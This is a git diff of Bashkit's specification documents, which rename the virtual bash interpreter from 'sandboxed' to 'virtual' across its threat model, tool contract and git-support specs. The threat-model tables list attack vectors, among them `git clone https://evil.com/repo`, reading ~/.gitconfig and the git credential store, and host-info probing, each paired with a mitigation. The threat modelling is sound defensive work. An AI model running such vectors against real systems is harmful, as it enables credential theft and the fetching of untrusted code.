+Bashkit is a virtual bash interpreter for multi-tenant environments, primarily designed for AI agent script execution. This document analyzes security threats and mitigations. **Threat Actors**: Malicious or buggy scripts from untrusted sources (AI agents, users) **Assets**: Host CPU, memory, filesystem, network, secrets, other tenants @@ -73,7 +73,7 @@ embedded in rustdoc. It contains: └───────────────────────────┼──────────────────────────────────┘ ▼ ┌─────────────────────────────────────────────────────────────┐ -│ SANDBOXED │ +│ VIRTUAL │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ Parser │→ │Interpreter│→ │Virtual FS│ │ Network │ │ │ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │ @@ -270,9 +270,9 @@ max_parser_operations: 100_000, // Parser fuel (TM-DOS-024) - Script continues execution (unless `set -e`) **bash/sh Re-invocation** (TM-ESC-015): The `bash` and `sh` commands are handled -specially to re-invoke the sandboxed interpreter rather than spawning external +specially to re-invoke the virtual interpreter rather than spawning external processes. This enables common patterns while maintaining security: -- `bash -c "cmd"` executes within the same sandbox constraints +- `bash -c "cmd"` executes within the same virtual environment constraints - `bash script.sh` reads and interprets the script in-process - `bash --version` returns Bashkit version (never real bash info) - Resource limits and virtual filesystem are shared with parent @@ -320,13 +320,13 @@ Bash::builder() | ID | Threat | Attack Vector | Mitigation | Status | |----|--------|--------------|------------|--------| -| TM-INF-005 | Hostname | `hostname`, `$HOSTNAME` | Returns configurable sandbox value | **MITIGATED** | -| TM-INF-006 | Username | `whoami`, `$USER` | Returns configurable sandbox value | **MITIGATED** | +| TM-INF-005 | Hostname | `hostname`, `$HOSTNAME` | Returns configurable virtual value | **MITIGATED** | +| TM-INF-006 | Username | `whoami`, `$USER` | Returns configurable virtual value | **MITIGATED** | | TM-INF-007 | IP address | `ip addr`, `ifconfig` | Not implemented | **MITIGATED** | -| TM-INF-008 | System info | `uname -a` | Returns configurable sandbox values | **MITIGATED** | +| TM-INF-008 | System info | `uname -a` | Returns configurable virtual values | **MITIGATED** | | TM-INF-009 | User ID | `id` | Returns hardcoded uid=1000 | **MITIGATED** | -**Current Risk**: NONE - System builtins return configurable sandbox values (never real host info) +**Current Risk**: NONE - System builtins return configurable virtual values (never real host info) **Implementation**: `builtins/system.rs` provides configurable system builtins: - `hostname` → configurable (default: "bashkit-sandbox") @@ -634,7 +634,7 @@ fn validate_format(format: &str) -> Result<(), String> { ### 8. Git Security -Bashkit provides optional sandboxed git operations via the `git` feature. This section documents +Bashkit provides optional virtual git operations via the `git` feature. This section documents security threats related to git operations and their mitigations. #### 8.1 Repository Access @@ -642,7 +642,7 @@ security threats related to git operations and their mitigations. | ID | Threat | Attack Vector | Mitigation | Status | |----|--------|--------------|------------|--------| | TM-GIT-001 | Unauthorized clone | `git clone https://evil.com/repo` | Remote URL allowlist (Phase 2) | **PLANNED** | -| TM-GIT-002 | Host identity leak | Commit reveals real name/email | Configurable sandbox identity | **MITIGATED** | +| TM-GIT-002 | Host identity leak | Commit reveals real name/email | Configurable virtual identity | **MITIGATED** | | TM-GIT-003 | Host git config access | Read ~/.gitconfig | No host filesystem access | **MITIGATED** | | TM-GIT-004 | Credential theft | Access git credential store | No host filesystem access | **MITIGATED** | | TM-GIT-005 | Repository escape | `git clone` outside VFS | All paths in VFS | **MITIGATED** | diff --git a/specs/008-posix-compliance.md b/specs/008-posix-compliance.md index 80937885..163bdb60 100644 --- a/specs/008-posix-compliance.md +++ b/specs/008-posix-compliance.md @@ -28,7 +28,7 @@ use standard command execution. **`trap`**: Signal handlers require persistent state across commands, conflicting with Bashkit's stateless execution model. Additionally, there are no signal -sources in the sandbox (no external processes send SIGINT/SIGTERM). Scripts +sources in the virtual environment (no external processes send SIGINT/SIGTERM). Scripts should handle errors through exit codes and conditional execution. ## Intentional Deviations diff --git a/specs/009-implementation-status.md b/specs/009-implementation-status.md index 4c823183..abb59baf 100644 --- a/specs/009-implementation-status.md +++ b/specs/009-implementation-status.md @@ -11,12 +11,12 @@ feature status across Bashkit. ## Intentionally Unimplemented Features These features are **by design** not implemented. They conflict with Bashkit's -stateless, sandboxed execution model or pose security risks. +stateless, virtual execution model or pose security risks. | Feature | Rationale | Threat ID | |---------|-----------|-----------| | `exec` builtin | Cannot replace shell process in sandbox; breaks containment | TM-ESC-005 | -| `trap` builtin | Stateless model - no persistent handlers; no signal sources in sandbox | - | +| `trap` builtin | Stateless model - no persistent handlers; no signal sources in virtual environment | - | | Background execution (`&`) | Stateless model - no persistent processes between commands | TM-ESC-007 | | Job control (`bg`, `fg`, `jobs`) | Requires process state; interactive feature | - | | Symlink following | Prevents symlink loop attacks and sandbox escape | TM-DOS-011 | @@ -41,14 +41,14 @@ traversal is blocked. This prevents: **Security Exclusions**: `exec` is excluded because it would replace the shell process, breaking sandbox containment. `trap` is excluded because signal handlers require persistent state (conflicts with stateless model) and there -are no signal sources in the sandbox. Scripts should use exit-code-based error +are no signal sources in the virtual environment. Scripts should use exit-code-based error handling instead. -**bash/sh Commands**: The `bash` and `sh` commands are implemented as sandboxed +**bash/sh Commands**: The `bash` and `sh` commands are implemented as virtual re-invocations of the Bashkit interpreter, NOT external process spawning. This enables common patterns like `bash script.sh` while maintaining security: - `bash --version` returns Bashkit version (not host bash) -- `bash -c "cmd"` executes within the same sandbox +- `bash -c "cmd"` executes within the same virtual environment - `bash -n script.sh` performs syntax checking without execution - Variables set in `bash -c` affect the parent (shared interpreter state) - Resource limits are shared/inherited from parent execution @@ -90,7 +90,7 @@ Bashkit implements IEEE 1003.1-2024 Shell Command Language. See | `return` | Implemented | Return from function with status | | `set` | Implemented | Set options and positional parameters | | `shift` | Implemented | Shift positional parameters | -| `times` | Implemented | Display process times (returns zeros in sandbox) | +| `times` | Implemented | Display process times (returns zeros in virtual mode) | | `trap` | **Excluded** | See [Intentionally Unimplemented](#intentionally-unimplemented-features) | | `unset` | Implemented | Remove variables and functions | diff --git a/specs/009-tool-contract.md b/specs/009-tool-contract.md index 3486d6f2..5b122b11 100644 --- a/specs/009-tool-contract.md +++ b/specs/009-tool-contract.md @@ -55,19 +55,19 @@ bashkit #### `short_description()` ``` -Sandboxed bash interpreter with virtual filesystem +Virtual bash interpreter with virtual filesystem ``` #### `description()` ``` -Sandboxed bash-like interpreter with virtual filesystem. Supported tools: echo cat grep sed awk jq curl head tail sort uniq cut tr wc date sleep mkdir rm cp mv touch chmod printf test [ true false exit cd pwd ls find xargs basename dirname env export read +Virtual bash interpreter with virtual filesystem. Supported tools: echo cat grep sed awk jq curl head tail sort uniq cut tr wc date sleep mkdir rm cp mv touch chmod printf test [ true false exit cd pwd ls find xargs basename dirname env export read ``` #### `system_prompt()` ``` # Bash Tool -Sandboxed bash-like interpreter with virtual filesystem. +Virtual bash interpreter with virtual filesystem. Input: {"commands": ""} Output: {stdout, stderr, exit_code} @@ -77,7 +77,7 @@ With username configured: ``` # Bash Tool -Sandboxed bash-like interpreter with virtual filesystem. +Virtual bash interpreter with virtual filesystem. Home: /home/agent Input: {"commands": ""} @@ -89,14 +89,14 @@ Output: {stdout, stderr, exit_code} BASH(1) User Commands BASH(1) NAME - bashkit - sandboxed bash-like interpreter with virtual filesystem + bashkit - virtual bash interpreter with virtual filesystem SYNOPSIS {"commands": ""} DESCRIPTION - Bashkit executes bash commands in an isolated sandbox with a virtual - filesystem. All file operations are contained within the sandbox. + Bashkit executes bash commands in a virtual environment with a virtual + filesystem. All file operations are contained within the virtual environment. Supports full bash syntax including variables, pipelines, redirects, loops, conditionals, functions, and arrays. @@ -170,7 +170,7 @@ pub struct ToolResponse { ### BashTool Implementation -`BashTool` is the sandboxed bash interpreter implementing the `Tool` trait. +`BashTool` is the virtual bash interpreter implementing the `Tool` trait. ```rust let mut tool = BashTool::builder() diff --git a/specs/010-git-support.md b/specs/010-git-support.md index 5081892d..a0071b4e 100644 --- a/specs/010-git-support.md +++ b/specs/010-git-support.md @@ -2,12 +2,12 @@ ## Status Phase 1: Implemented -Phase 2: Implemented (sandbox mode - URL validation only) +Phase 2: Implemented (virtual mode - URL validation only) Phase 3: Implemented (branch, checkout, diff, reset) ## Decision -Bashkit provides sandboxed git operations via the `git` feature flag. +Bashkit provides virtual git operations via the `git` feature flag. All git operations work on the virtual filesystem only. ### Feature Flag @@ -42,9 +42,9 @@ let bash = Bash::builder() | `git status` | Show working tree status | | `git log [-n N]` | Show commit history | -#### Phase 2 (Remote) - Implemented (Sandbox Mode) +#### Phase 2 (Remote) - Implemented (Virtual Mode) -Remote operations validate URLs against the allowlist but return sandbox +Remote operations validate URLs against the allowlist but return virtual mode messages (actual network operations not supported in VFS-only mode). | Command | Description | @@ -53,10 +53,10 @@ mode messages (actual network operations not supported in VFS-only mode). | `git remote -v` | List remotes with URLs | | `git remote add ` | Add remote (validates URL) | | `git remote remove ` | Remove remote | -| `git clone [path]` | Validates URL, returns sandbox message | -| `git push [remote]` | Validates URL, returns sandbox message | -| `git pull [remote]` | Validates URL, returns sandbox message | -| `git fetch [remote]` | Validates URL, returns sandbox message | +| `git clone [path]` | Validates URL, returns virtual mode message | +| `git push [remote]` | Validates URL, returns virtual mode message | +| `git pull [remote]` | Validates URL, returns virtual mode message | +| `git fetch [remote]` | Validates URL, returns virtual mode message | #### Phase 3 (Advanced) - Implemented @@ -64,7 +64,7 @@ mode messages (actual network operations not supported in VFS-only mode). |---------|-------------| | `git branch [-d] [name]` | List, create, or delete branches | | `git checkout [-b] ` | Switch branches or create and switch | -| `git diff [from] [to]` | Show changes (simplified in sandbox mode) | +| `git diff [from] [to]` | Show changes (simplified in virtual mode) | | `git reset [--soft\|--mixed\|--hard]` | Reset HEAD and clear staging | #### Future (Not Yet Implemented) @@ -83,7 +83,7 @@ See `specs/006-threat-model.md` Section 8: Git Security (TM-GIT-*) | Threat | Mitigation | |--------|------------| -| TM-GIT-002: Host identity leak | Configurable sandbox identity | +| TM-GIT-002: Host identity leak | Configurable virtual identity | | TM-GIT-003: Host config access | No host filesystem access | | TM-GIT-004: Credential theft | No host filesystem access | | TM-GIT-005: Repository escape | All paths in VFS | @@ -95,7 +95,7 @@ See `specs/006-threat-model.md` Section 8: Git Security (TM-GIT-*) - Remote URLs require explicit allowlist - HTTPS only (no SSH, no git:// protocol) -- Sandbox mode: URL validation only, actual network operations not supported +- Virtual mode: URL validation only, actual network operations not supported - `git remote add/remove` fully functional for managing remote references - `git clone/push/pull/fetch` validate URLs then return helpful messages @@ -108,7 +108,7 @@ See `specs/006-threat-model.md` Section 8: Git Security (TM-GIT-*) pub struct GitConfig { ... } impl GitConfig { - /// Create new config with default sandbox identity. + /// Create new config with default virtual identity. pub fn new() -> Self; /// Set author name and email for commits. @@ -143,7 +143,7 @@ format in the VFS: - `.git/refs/heads/` - Branch references This approach provides: -- Full VFS sandboxing +- Full VFS isolation - Security-focused implementation - Correct user-facing behavior - Foundation for Phase 2 gitoxide integration